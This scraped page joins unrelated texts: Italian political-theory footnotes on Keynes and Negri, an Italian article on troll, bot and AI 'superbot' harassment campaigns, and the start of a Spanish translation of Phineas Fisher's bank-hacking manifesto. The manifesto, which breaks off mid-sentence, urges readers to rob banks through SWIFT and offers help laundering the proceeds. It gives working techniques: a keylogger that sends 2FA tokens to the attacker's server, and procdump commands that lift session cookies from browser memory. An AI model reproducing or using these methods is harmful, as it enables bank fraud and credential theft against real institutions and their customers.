questioni che sono di sua stretta pertinenza, e il tasso di accumulazione in quanto determinato dal margine fra produzione e consumo. Una volta conseguiti i primi tre punti il quarto verrà da sé.” In realtà, dopo il 1930, si verificherà la tragedia di una Seconda Guerra mondiale e, dopo di essa, una rapida crescita demografica, mentre oggi si sta preparando, con solerzia e determinazione, un ennesimo conflitto su scala globale.
L’autore non trascura il tema tipicamente gorziano della mentalità lavorista in un mondo senza più il bisogno del lavoro: “… non esiste paese o popolo, a mio avviso, che possa guardare senza terrore all’era del tempo libero e dell’abbondanza. Per troppo tempo, infatti, siamo stati allenati a faticare anziché godere.” Questo problema è in realtà un falso-problema: la mentalità può mutare rapidamente nella misura in cui sia libera di diffondersi una cultura della dignità umana e del non-lavoro (salariato). Il vero problema oggi è la scarsità di risorse, tanto materiali che intellettuali, prodotta artificialmente dal potere al fine di garantire la creazione e tesaurizzazione di enormi patrimoni privati.
Ma ciò che vi è di più profondo e, per questo, apprezzabile del saggio di Keynes è la stigmatizzazione dell’avidità che connota la componente più bieca e nera dello spirito capitalistico: “Quando l’accumulazione di ricchezza non rivestirà più un significato sociale importante, interverranno profondi mutamenti nel codice morale. Dovremo saperci liberare di molti dei principi pseudomorali che ci hanno superstiziosamente angosciati per due secoli, e per i quali abbiamo esaltato come massime virtù le qualità umane più spiacevoli (È evidente qui il richiamo a quell’etica protestante che Max Weber assocerà allo spirito del capitalismo nella sua opera più mirabile). Dovremo avere il coraggio di assegnare alla motivazione “denaro” il suo vero valore. L’amore per il denaro come possesso, e distinto dall’amore per il denaro come mezzo per godere i piaceri della vita, sarà riconosciuto per quello che è: una passione morbosa, un po’ ripugnante, una di quelle propensioni a metà criminali e a metà patologiche che di solito si consegnano con un brivido allo specialista di malattie mentali. Impossibile qui non pensare all’egotismo patologico dei plutocrati che ci affamano, da Musk a Bezos, da Zuckerberg a Thiel.
Il saggio si conclude con una dichiarazione di umiltà e con uno schiaffo ironico alla presunzione e supponenza degli economisti (anche se il peggio, come oggi sappiamo, doveva ancora venire…): “… guardiamoci dal sopravvalutare l’importanza del problema economico o di sacrificare alle sue attuali necessità altre questioni di maggiore e più duratura importanza. Dovrebbe essere un problema da specialisti, come la cura dei denti. Se gli economisti riuscissero a farsi considerare gente umile, di competenza specifica, sul piano dei dentisti, sarebbe meraviglioso.” Una sorta di anticipazione della critica all’economicismo a cui Karl Polanyi dedicherà la sua intera opera.
Per concludere questa lunga nota, ritengo che il maggior limite del pensiero di Keynes, in chiave di una critica anticapitalista, sia il suo sistematico uso del “noi” con cui egli allude all’umanità tutta: manca, cioè, una prospettiva autenticamente “di classe” e la comprensione, forse la più avanzata acquisizione marxiana, che l’appartenenza di classe plasma la soggettività.
6 – Sulla strettissima relazione, sino alla congiunzione, di questi due termini, Stato e capitale, Toni Negri, nella raccolta di saggi uscita sotto il titolo La forma Stato. Per la critica dell’economia politica della Costituzione – Ed. Feltrinelli 1977, ci mostra come lo Stato, di fatto, agisca come capitalista generale.
7 – Sul tema delle disuguaglianze, è notevole la dovizia di dati che Thomas Piketty fornisce nel suo Il capitale nel XXI secolo, Bompiani, 2014.
8 – Scrive Lazzarato nella nota 5 a pag. 53 del suo Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie Ed. DeriveApprodi 2023: “Non c’è potere che non si eserciti tramite obbiettivi e strategie, ma questo non vuol dire che questi ultimi risultino dalla scelta e dalle decisioni di un soggetto individuale (o collettivo) (di un comitato centrale degli affari). L’imperialismo del dollaro è definito dall’azione di una molteplicità di soggetti (economici, politici, militari), non necessariamente coordinati, con interessi anche diversi; è il frutto di una strategia che si fabbrica facendosi, attraverso errori e successi, sconfitte e vittorie che permettono di modificare, riconfigurare, calibrare il “progetto” mentre si sta realizzando. Ma ciò a partire da un obbiettivo chiave, da una volontà forte: battere la rivoluzione, sconfiggere il nemico politico che vi si annida. “Azione intenzionale non soggettiva” direbbe Foucault. Nell’imperialismo del dollaro ciò che è determinante non è il rapporto tra moneta e desiderio (Keynes ripreso da Deleuze e Guattari), ma tra moneta e strategia, tra dollaro e “volontà” politica americana.”
9 – È interessante l’interpretazione che Michele Kettmaier dà dell’evoluzione del rapporto tra Stato e Big Tech nell’epoca delle piattaforme; nell’articolo Il mondo non è un modello. Stato e imperi digitali, Kettmaier mostra come le odierne macchine Stato-capitale dispongano di inedite e sofisticate forme di integrazione e complementarità dei propri poli: lo Stato e le piattaforme proprietarie.
10 – Le quattro caratteristiche dell’imperialismo individuate da Lenin sono: 1) Finanziarizzazione dell’economia (rendita vs profitto; deindustrializzazione dell’Occidente); 2) Colonialismo (e neocolonialismo); 3) Centralizzazione (dello Stato: potenza; del capitale: profitto e, in misura crescente, rendita); 4) Guerra (di conquista, civile, tra Stati).
11 – In realtà, la convinzione di Lazzarato che il capitale non possa liberarsi dalle lotte di classe è fondata solo nella misura in cui la produzione (e la distruzione) passerà ancora attraverso il lavoro umano; in effetti oggi, in particolare con lo sviluppo dell’Intelligenza Artificiale, non si può affatto escludere un sistema capitalistico in grado di funzionare senza un significativo apporto di lavoro umano, dove il proletariato, nel migliore dei casi percettore di un reddito di sussistenza, sarebbe espulso dalla produzione e posto ai margini del processo sociale senza un ruolo politicamente rilevante e di fatto inutile ai fini dell’accumulazione capitalistica che, a quel punto, potrà basarsi solo sul “lavoro” delle macchine.
12 – Sulla critica accelerazionista a quella che Nick Srniceck e Alex Williams in Inventare il futuro – Per un mondo senza lavoro – Ed. Nero 2018, definiscono “folk politics”, rinvio al mio articolo Tecnopolitica per il comune. Red-Stack vs Automa capitalistico, uscito sul n° 5 di Rizomatica.
13 – Su questo specifico passaggio da potere costituente a potere costituito e sul tradimento degli ideali rivoluzionari, A. Negri ha scritto uno dei suoi lavori più riusciti: Il potere costituente. Saggio sulle alternative del moderno, Manifestolibri, 2002. In quest’opera, ripercorrendo le vicende delle quattro rivoluzioni che hanno segnato la storia dell’Occidente (inglese, americana, francese e russa), si mostrano i travagli a causa dei quali la spinta costituente, sempre profondamente democratica e libertaria, si è tradotta nell’instaurarsi di un nuovo potere statuale; in termini spinoziani, la potentia che si tramuta in potestas. Quest’opera è stata giustamente oggetto di un acceso dibattito teorico tra filosofia e scienza politica nel quale la necessità di una democrazia radicale, effettiva, diretta, è emersa come antidoto al ripiegamento dello slancio e della ragione rivoluzionaria in una ennesima forma-stato.
14 – Da qualche mese è uscita in Italia, per i tipi di Alegre, la traduzione del libro di Rodrigo Nunes del 2021 Né orizzontale né verticale – Una teoria dell’organizzazione politica. Si tratta di un’opera importante e, considerato anche il sottotitolo, ambiziosa, che ha il merito di affrontare il tema tabù e al contempo imprescindibile, in una prospettiva trasformativa, dell’organizzazione. L’autore nelle conclusioni dichiara esplicitamente che il libro intende assolvere anche a una funzione terapeutica nel senso che cerca di affrontare quello che definisce “il trauma dell’organizzazione” derivante dagli esperimenti falliti nel corso del XX secolo, in particolare il tradimento degli ideali della Rivoluzione del 1917 e la rivoluzione fallita del 1968. Al tentativo di elaborazione di questi traumi è dedicato il capitolo 2 del libro, titolato “Una o due melanconie?”, con riferimento a questi due determinanti frangenti storici del secolo scorso. Proprio a questo capitolo è dedicato l’articolo di Mario Sommella Oltre la melanconia di sinistra pubblicato nella rassegna di Rizomatica.
Data la rilevanza e corposità del testo di Nunes, mi riservo di trattarne in modo più approfondito in una futura occasione.
15 – Cfr. Benjamin H. Bratton The Stack: On Software and Sovereignty – Ed. MIT Press 2016
Ho richiamato e brevemente descritto quest’importante lavoro di Bratton in Fuori dal capitalocene. Dall’uomo indebitato all’uomo frugale.
16 – Cfr. Tiziana Terranova Red stack attack! Algoritmi, capitale e automazione del comune.
17 – Per una sintesi dell’acuminata e disincantata analisi dell’attuale stato di cose sviluppata da M. Lazzarato nei suoi più recenti lavori, rinvio alla lettura di un suo recente articolo dal titolo Gli Stati Uniti e il «capitalismo fascista» comparso sulla rivista on-line Machina.
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Lavinia Marchetti
ATTACCO E RUMORE: CHE COSA CERCANO?
Una campagna di disturbo cambia l’aria che si respira intorno al testo, all’articolo. Il tema politico viene trascinato nel ridicolo e viene sporcato, poi la risata entra come uno schiaffo, senza rispetto. La faccina che ride vale quanto un colpo secco sulla faccia. Impone un tono di disprezzo e mette il lettore davanti a una scelta tacita, o resta e sopporta oppure lascia perdere. Qui la psicologia del branco viene messa in pratica. Freud, in Psicologia delle masse e analisi dell’Io, descriveva la forza dell’identificazione collettiva e il piacere che nasce dal sentirsi dentro una massa protetta. In rete questo piacere si accoppia con una disinibizione specifica. Zimbardo parlava di deindividuazione, John Suler ha descritto l’allentamento dei freni che internet favorisce. Il volto scompare, la conseguenza pare lontana (ma non sempre…io ho denunciato e vinto), l’impunità viene sentita come naturale. A quel punto il bersaglio diventa chi scrive. Il fatto scivola sullo sfondo. Restano etichette ripetute, perché la ripetizione consuma la pazienza e sposta il baricentro della discussione.
Dentro questo rumore nasce un consenso di cartapesta. Il lettore passa, vede decine di reaction di scherno, trova commenti quasi identici, immagina una maggioranza compatta. Elisabeth Noelle Neumann lo chiamava “spirale del silenzio”. Quando l’ambiente punisce chi parla, molte persone scelgono la ritirata. La risata seriale, gli insulti, accelerano questo passo. Un gesto rapido, adatto alla massa, capace di trasformare il dolore in spettacolo.
Ecco la sensazione di sciame. La massa dei commenti costruisce un’impressione collettiva artificiale. La tecnologia rende economica questa pressione, la piattaforma la amplifica perché l’attrito produce interazione. Il risultato si deposita nella psiche di chi legge e di chi scrive. Ecco la stanchezza, l’irritazione e l’inevitabile autocensura. Il ritiro pare una decisione personale, però nasce da una scena costruita.BOT, TROLL, CYBORG: TRE FORME OPERATIVE
Un BOT puro produce testo con regolarità meccanica e con una povertà di relazione. Arriva subito, spesso entro un minuto dalla pubblicazione, e lascia frasi che paiono uscite da uno stampo. Il dettaglio che conta sta nella ripetizione: la stessa accusa ricompare sotto post differenti, talvolta sotto pagine differenti, con intervalli minimi. Un esempio che mi è capitato lo conservo in due screenshot dello stesso commento, copiato parola per parola, piazzato a distanza di cinque minuti sotto un mio post su Gaza e sotto un post di una testata, mi pare repubblica. Sembra una coincidenza, ma l’identità del testo la smentisce.
Il TROLL UMANO, invece lavora con tempo e attenzione. Entra nel thread, cerca una fessura, poi insiste. Il troll chiede spiegazioni con tono finto cortese, scivola verso l’offesa, prova a farti reagire, poi richiama altri profili. La psicologia del dominio diventa leggibile. La provocazione serve a spostare il tema verso il terreno dell’umiliazione. Un esempio tipico ha un ritmo riconoscibile. Tu scrivi di un bombardamento. Il troll risponde con una risata e una frase di derisione. Se replichi, parte l’accusa personale. Se taci, arriva il commento che ti dipinge come codardo. La logica resta la stessa: consumo del tuo tempo, consumo del tempo del lettore.
La figura più attuale è il CYBORG. Qui convive automazione e intervento umano. Un sistema individua i post, li segnala come bersagli, propone testi suggeriti, poi una persona entra e rende la risposta plausibile, con una variazione di tono o un dettaglio apparentemente personale. Questa forma è più difficile da smontare, perché somiglia alla vita di un utente. La prova passa dai tempi e dalle tracce. Risposte rapidissime all’inizio, poi una conversazione improvvisa con frasi più lunghe e con riferimenti al tuo testo.
Esempi documentati aiutano a uscire dal sospetto e a entrare nel metodo. Nel capitolo sulle reti coordinate ho citato Act.IL come modello di mobilitazione a compiti, con testi pronti e obiettivi giornalieri. Qui la persona può essere reale. La coordinazione resta reale anche lei. Sul piano delle reti inautentiche, il caso STOIC attribuito da Meta, ripreso da Reuters, mostra un passaggio ulteriore, commenti generati in serie e inseriti sotto post ad alta visibilità. Al Jazeera ha descritto anche prototipi capaci di cercare contenuti su Gaza tramite hashtag e produrre risposte con modelli linguistici, poi pubblicarle con ritardi studiati.I SUPERBOT
Tecnologicamente, molti di questi attacchi sfruttano automazione avanzata e intelligenza artificiale. Reti di bot possono generare automaticamente commenti fasulli o memi: spesso impiegano modelli linguistici (ChatGPT, LLM) per produrre risposte personalizzate a post specifici. Una inchiesta di Al Jazeera descrive i “superbot” pro-Israele creati da ricercatori: questi bot cercano post di alto profilo con hashtag come #Gaza o #Genocide (Step 1) e ne estraggono il testo. Poi creano un prompt per ChatGPT che chieda una risposta aggressiva pro-Israele (Step 2) e inviano la risposta con un lieve ritardo per sembrare umani (Step 3) (https://www.aljazeera.com/features/longform/2024/5/22/are-you-chatting-with-an-ai-powered-superbot#:~:text=step%203.Image%3A%20INTERACTIVE_LLM%402x,unleashed%20on%20multiple%20targets%20simultaneously ). Un superbot può così rispondere in pochi secondi e innescare conversazioni infinite, riversando centinaia di commenti su più target in parallelo, In pratica, l’uso di AI permette di scalare enormi quantità di disinformazione a basso costo. Per mimare esseri umani, i troll usano anche pratiche manuali o semi-automatiche. Talvolta si parla di cyborg account: profili gestiti in parte da bot e in parte da operatori reali. L’analisi di Ayeb e Bonini (Social Media + Society 2024) su tre paesi arabi rileva che i troll lavorano in turni (anche 24/7) coordinati via chat (Telegram), con task list giornaliere che assegnano post da commentare e hashtag da usare. Gli account bot mostrano segni tipici: usano avatar generati da AI (spesso con imperfezioni visive), nomi utente con cifre casuali e bio generiche, sono creati di recente e tendono a seguire altri bot per gonfiare i follower. Di norma replicano messaggi casuali (p. es. post su sport o celebrità) come copertura, mentre rispondono in modo assai diverso quando affrontano politica. Dal punto di vista operativo, i troll operano spesso da reti proxy o VPN per mascherare la provenienza e cambiano frequentemente IP/profilo. I ricercatori osservano che molti commenti sospetti arrivano entro 10 minuti dalla pubblicazione del post originale e in tutti gli orari (notte inclusa), chiaro segno di automazione. Infine, esistono server interni o gruppi riservati (chat Telegram, Slack) usati per distribuire istruzioni e script di risposta agli operatori: una fonte Reuters salvadoregna confermò che i troll si incontravano anche in uffici governativi per ricevere i compiti del giorno (https://www.reuters.com/investigates/special-report/el-salvador-politics-media/#:~:text=A%20Salvadoran%20twenty,down%20with%20a%20government%20official ).
IL RUOLO DELLE PIATTAFORME
Le piattaforme social influenzano inconsapevolmente l’ecosistema degli attacchi. Documenti interni emersi (grazie a whistleblower come Frances Haugen) mostrano che l’algoritmo di Facebook valorizza fortemente le reazioni emotive: ad esempio nel 2017 ogni emoji (arrabbiata, risata, pianto) valeva cinque volte un “mi piace” tradizionale (https://www.washingtonpost.com/technology/2021/10/26/facebook-angry-emoji-algorithm/ ).
In pratica, contenuti che suscitano rabbia o shock ottengono molta più visibilità. Come ha affermato la stessa Haugen, «la rabbia e l’odio è il modo più facile per crescere su Facebook». Ciò spiega perché post controversi attirino troll e ricevano ampio engagement: l’algoritmo ricompensa queste reazioni e può amplificare involontariamente i bot o i troll più polemici. Al contempo, ci sono accuse di censura selettiva verso opinioni palestinesi. HRW ha documentato oltre 1.050 casi tra ottobre e novembre 2023 in cui Facebook/Instagram hanno rimosso contenuti pacifici di sostegno alla Palestina (contro appena 1 caso pro-Israele) (https://www.hrw.org/report/2023/12/21/metas-broken-promises/systemic-censorship-palestine-content-instagram-and#:~:text=Between%20October%20and%20November%202023%2C,The%20documented%20cases ). l rapporto rileva un’applicazione incoerente delle norme di Meta, che spesso rimuove post pro-Palestina basandosi su policy contro “organizzazioni pericolose” (inclusa Hamas). A me hanno censurato un post in cui analizzavo le richieste di Hamas. Documenti di dominio pubblico. Senza alcun giudizio in merito. Inoltre, HRW denuncia che l’“Unità Cyber” israeliana (ufficio legale del procuratore) invia richieste dirette a Meta per rimuovere contenuti pro-Palestinesi, ottenendo tassi di rimozione altissimi (oltre il 80%) senza notifica agli utenti. Ci sono segnalazioni di shadow banning (fuoriuscita graduata dei post dalle bacheche) e di sospensioni non giustificate di account paladini dei diritti umani. Meta afferma di affidarsi molto all’automazione per la moderazione (oltre il 90% delle violazioni sarebbe rilevato da algoritmi), ma gli esperti criticano la scarsa trasparenza e gli errori sistematici che censurano espressioni legittime. In sintesi, mentre i troll mirano a allagare la piattaforma di messaggi falsi e irritanti, il social network stesso a volte amplifica il rumore emotivo e, per difetto o per pressioni esterne, sopprime parte del dibattito, influenzando in modo complesso quali contenuti circolano di più. -
Una guía DIY para robar bancos
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Manifiesto del hacker Phineas Fisher sobre cómo robar bancos
Sacado de https://unicornriot.ninja/wp-content/uploads/2019/11/hackback-announce-text.txt_ _ _ ____ _ _ | | | | __ _ ___| | __ | __ ) __ _ ___| | _| | | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / | | _ | (_| | (__| < | |_) | (_| | (__| <|_| |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_) Una guía DIY para robar bancos ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' Por el Subcowmandante Marcos Soy un niño salvaje Inocente, libre, silvestre Tengo todas las edades Mis abuelos viven en mí Soy hermano de las nubes Y sólo sé compartir Sé que todo es de todos que todo está vivo en mí Mi corazón es una estrella Soy hijo de la tierra Viajo a bordo de mi espíritu Camino a la eternidadÉsta es mi palabra sencilla que busca tocar el corazón de la gente simple yhumilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contarde mis hackeos, y para invitar a otras personas a que hackeen con alegrerebeldía.Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desdeabajo y a la gente simple y humilde que resiste y se rebela contra lasinjusticias en todo el mundo. En otras palabras: robé un banco y regalé eldinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, lacomunidad del powershell ofensivo, el proyecto metasploit y la comunidad hackeren general son las que posibilitaron este hackeo. La comunidad de exploit.inhizo posible convertir la intrusión en las computadoras de un banco en efectivoy bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos yactivistas que defienden la privacidad y el anonimato, son mis nahuales, esdecir, mis protectores [1]. Me acompañan cada noche y hacen posible que siga enlibertad.No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amorpor todos los seres, y expresé ese amor de la mejor forma que pude, mediante lasherramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sinoun amor por la vida, y el deseo de un mundo donde cada quien pueda realizar supotencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo,para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así.Y espero también que esta guía sea una receta que puedan seguir, combinando losmismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estasherramientas tan potentes acaban sirviéndoles también a ustedes para expresar elamor que sienten. Todos somos niños salvajes inocentes, libres, silvestres Todos somos hermanos de los árboles hijos de la tierra Sólo tenemos que poner en nuestro corazón una estrella encendida (canción de Alberto Kuselman y Chamalú)La policía va a invertir un chingo de recursos en investigarme. Creen que elsistema funciona, o al menos que funcionará una vez que atrapen a todos los"chicos malos". No soy más que el producto de un sistema que no funciona.Mientras existan la injusticia, la explotación, la alienación, la violencia y ladestrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de estesufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en LaPaz [2], y espero que mis acciones y escritos rieguen la semilla de la rebeliónen sus corazones.[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que dijo eso de "a mi solo me matarán, pero mañana volveré y seré millones". ____________________________________________< Para que nos vieran, nos tapamos el rostro > -------------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porqueno nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. Lamáscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún casola marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar aun difunto para prestarme su pasamontañas. Creo entonces que debería aclarar queel Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estarmuerto, no le consulté. Espero que su fantasma, si se entera desde alguna hamacachiapaneca, sepa encontrar la bondad para, como dicen allá, "desestimar estedeep fake" con el mismo gesto con que se aleja un insecto inoportuno - que bienpodría ser un escarabajo.Aún así con el pasamontañas y el cambio de nombre, muchos de los que apoyan misacciones quizás van a prestar demasiada atención a mi persona. Con su propiaautonomía hecha trizas por una vida entera de dominación, estarán buscando unlíder a seguir, o una heroína que les salve. Pero detrás del pasamontañas sólosoy una niña. Todos somos niños salvajes. Nós só temos que colocar uma estrelaem chamas em nossos corações.--[ 1 - Por qué expropiar ]-----------------------------------------------------El capitalismo es un sistema en el que una minoría se ha venido a apropiar de una vasta mayoría de los recursos del mundo a través de la guerra, el hurto y la explotación. Al arrebatarnos los comunes [1], forzaron a los de abajo a estar bajo el control de esa minoría que todo lo posee. Es un sistemafundamentalmente incompatible con la libertad, la igualdad, la democracia y el Suma Qamaña (Buen Vivir). Puede sonar ridículo para las que hemos crecido en unamaquinaria propagandística que nos enseñó que capitalismo es libertad, pero enverdad esto que digo no es una idea nueva ni controvertida [2]. Los fundadoresde los Estados Unidos de América sabían que tenían que elegir entre crear unasociedad capitalista, o una libre y democrática. Madison reconocía que "elhombre que posee riqueza, el que se acuesta en su sofá o rueda en su carruaje,no puede juzgar los deseos o sentimientos del jornalero". Pero para protegersefrente al "espíritu de equiparación" de los jornaleros sin tierra, le parecióque solamente los terratenientes debían votar, y que el gobierno tenía queservir para "proteger a la minoria opulenta frente a la gran mayoria". JohnJay fue más al grano y dijo: "Aquellos que son dueños del país deberíangobernarlo". ____________________________________________________/ No existe eso que llaman capitalismo verde. \| Hagamos al capitalismo historia antes de que nos |\ convierta en historia. / ---------------------------------------------------- \ /\ ___ /\ \ // \/ \/ \\ (( O O )) \\ / \ // \/ | | \/ | | | | Evgeny, el gran elefante ignorado, no entiende por qué todos | | | | fingen no verle en los paneles sobre cambio climático, así | o | que aquí le doy chance a decir sus líneas. | | | | |m| |m| De la misma forma que bell hooks [3] sostiene que el rechazo a la culturapatriarcal de dominación es un acto en defensa del propio interés del varón (yaque emocionalmente les mutila y evita que sientan amor y conexión de formaplena), creo que la cultura de dominación del capitalismo tiene un efectosimilar sobre los ricos, y que podrían tener vidas más plenas y satisfactoriassi rechazaran el sistema de clases del que creen que se benefician. Para muchos,el privilegio de clase equivale a una infancia de negligencia emocional, seguidade una vida de interacciones sociales superficiales y trabajo sin sentido. Puedeque en el fondo sepan que sólo pueden conectar de forma genuina con las personascuando trabajan con ellas como sus iguales, y no cuando las ponen a su servicio.Puede que sepan que compartir su riqueza material es lo mejor que pueden hacer con ella. Quizás sepan también que las experiencias significativas, las conexiones y las relaciones que cuentan no son las que provienen de las interacciones mercantiles, sino precisamente de rechazar la lógica del mercado y dar sin esperar nada a cambio. Tal vez sepan que todo lo que necesitan para escapar de su prisión y vivir de verdad es dejarse llevar, ceder el control, y dar un salto de fe. Pero a la mayoría les falta valentía.Entonces sería ingenuo por nuestra parte dirigir nuestros esfuerzos a tratar de producir alguna clase de despertar espiritual en los ricos [4]. Como dice Assata Shakur: "Nadie en el mundo, nadie en la historia, ha conseguido nunca su libertad apelando al sentido moral de sus opresores". En realidad, cuando los ricos reparten su dinero, casi siempre lo hacen de un modo que refuerza elsistema que para empezar les permitió amasar sus enormes e ilegítimas riquezas[5]. Y es poco probable que el cambio venga a través de un proceso político;como dice Lucy Parsons: "No nos dejemos nunca engañar con que los ricos nosvayan a dejar votar para arrebatarles sus riquezas". Colin Jenkins justifica laexpropiación con estas palabras [6]: No nos equivoquemos, la expropiación no es robo. No es la confiscación de dinero ganado "con el sudor de la frente". No es el robo de propiedad privada. Es, más bien, la recuperación de enormes cantidades de tierra y riqueza que han sido forjadas con recursos naturales robados, esclavitud humana, fuerza de trabajo forzada y amasada en cientos de años por una pequeña minoría. Esta riqueza... es ilegítima, tanto a efectos morales como en tanto a los mecanismos de explotación que se han empleado para crearla.Para Colin, el primer paso es que "tenemos que liberarnos de nuestras ataduras mentales (al creer que la riqueza y la propiedad privada han sido ganadas por quienes las monopolizan; y que, por tanto, deberían ser algo a respetar, reverenciar, e incluso algo a perseguir), abrir nuestras mentes, estudiar y aprender de la historia, y reconocer juntos esta ilegitimidad". Acá les dejo algunos libros que me han ayudado con esto [7][8][9][10][11].Según Barack Obama, la desigualdad económica es "el desafío que define a nuestrotiempo". El hacking informático es una herramienta poderosa para combatir ladesigualdad económica. El antiguo director de la NSA, Keith Alexander, concuerday dice que el hacking es responsable de "la mayor transferencia de riqueza de lahistoria". _________________________/ La historia es nuestra \\ y la hacen lxs hackers! / ------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'¡Allende presente, ahora y siempre![1] https://sursiendo.com/docs/Pensar_desde_los_comunes_web.pdf[2] https://chomsky.info/commongood02/[3] The Will to Change: Men, Masculinity, and Love[4] su propia religión ya es muy clara al respecto: https://dailyverses.net/es/materialismo[5] https://elpulso.hn/la-filantropia-en-los-tiempos-del-capitalismo/[6] http://www.hamptoninstitution.org/expropriation-or-bust.html[7] Manifiesto por una Civilización Democrática. Volumen 1, Civilización: La Era de los Dioses Enmascarados y los Reyes Cubiertos[8] Calibán y la Bruja[9] En deuda: Una historia alternativa de la economía[10] La otra historia de los Estados Unidos[11] Las venas abiertas de América Latina _________________________________ < Nuestra arma es nuestro teclado > --------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `' ^^ ^^--[ 2 - Introducción ]----------------------------------------------------------Esta guía explica cómo fue que hice el hackeo al Cayman Bank and Trust Company (Isla de Man). ¿Por qué estoy publicando esto, casi cuatro años después?1) Para mostrar lo que es posibleLos hackers que trabajan por el cambio social se han limitado a desarrollar herramientas de seguridad y privacidad, DDoS, realizar defaceos y filtraciones. Allá por donde vayas hay proyectos radicales por un cambio social en completo estado de precariedad, y sería mucho lo que podrían hacer con un poco de dinero expropiado. Al menos para la clase trabajadora, el robo de un banco es algo socialmente aceptado, y a los que lo hacen se les ve como héroes del pueblo. En la era digital, robar un banco es un acto no violento, menos arriesgado, y la recompensa es mayor que nunca. Entonces ¿por qué son solamente los hackers de sombrero negro que lo hacen para beneficio personal de ellos, y nunca los hacktivistas para financiar proyectos radicales? Quizás no se creen que son capaces de hacerlo. Los grandes hackeos bancarios salen en los noticieros cadatanto, como el hackeo al Banco de Bangladesh [1], que fue atribuido a Corea delNorte, o los hackeos a bancos atribuidos al grupo Carbanak [2], al que describencomo un grupo muy grande y bien organizado de hackers rusos, con distintosmiembros que estarían especializados en diferentes tareas. Y, pues no es tan complicado.Es por nuestra creencia colectiva en que el sistema financiero es incuestionableque ejercemos control sobre nosotras mismas, y mantenemos el sistema de clasessin que los de arriba tengan que hacer nada [3]. Poder ver cómo de vulnerable yfrágil es en realidad el sistema financiero nos ayuda a romper esa alucinacióncolectiva. Por eso los bancos tienen un fuerte incentivo para no reportar loshackeos, y para exagerar cómo de sofisticados son los atacantes. Ninguno de loshackeos financieros que hice, o de los que he sabido, ha sido nunca reportado.Este va a ser el primero, y no porque el banco quisiera, sino porque yo medecidí a publicarlo.Como estás a punto de aprender en esta guía casera, hackear un banco ytransferir los dineros a través de la red SWIFT no requiere del apoyo de ningún gobierno, ni de un grupo grande y especializado. Es algo totalmente posible siendo un mero hacker aficionado y del montón, con tan solo herramientaspúblicas y conocimientos básicos de cómo se escribe un script.[1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html[2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural2) Ayudar a retirar el efectivoMuchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En micaso, este era el primer banco que hackeaba, y en ese momento sólo tenía unaspocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidascomo bank drops), así que solamente fueron unos cuantos cientos de miles los quepude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, síque tengo el conocimiento y las conexiones para sacar efectivo más en serio, demodo que si se encuentran hackeando un banco pero necesitan ayuda para convertireso en dinero de a de veras, y quieren usar esa lana para financiar proyectossociales radicales, se ponen en contacto conmigo.3) ColaborarEs posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:1) Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a comprender cómo funcionaba todo.2) No tenían ningún procedimiento para revisar los mensajes swift enviados. Muchos bancos tienen uno, y necesitas escribir código para esconder tus transferencias de su sistema de monitorización.3) Sólo usaban autenticación por contraseña para acceder a la aplicación con la que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo código para recibir una alerta cuando entren su token, y así poder usarlo antes de que expire. Es más sencillo de lo que parece: he usado Get-Keystrokes [1], modificándolo para que en vez de almacenar las teclas pulsadas, se haga una petición GET a mi servidor cada vez que se detecta que han introducido un nombre de usuario. Esta petición añade el nombre de usuario a la url y, conforme tipean el token, se hacen varios GET con los dígitos del token concatenados a la url. En mi lado dejo esto corriendo mientras tanto: ssh yo@mi_servidor_secreto 'tail -f /var/log/apache2/access_log' | while read i; do echo $i; aplay alarma.wav &> /dev/null; done Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie después de que se hayan autenticado. No soy un APT con un equipo de coders que puedan hacerme herramientas a medida. Soy una persona sencilla que vive de lo que le da la terminal [2], de modo que lo que uso es: procdump64 /accepteula -r -ma PID_del_browser strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul o pasándolo por findstr antes que por strings, lo que lo hace mucho más rápido: findstr PHPSESSID *.dmp > tmp strings64 /accepteula tmp | findstr PHPSESSID 2> nul Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc) después de que se hayan autenticado, o con un poco de creatividad también podrías enfocarte en otra parte de su proceso en lugar de enviar 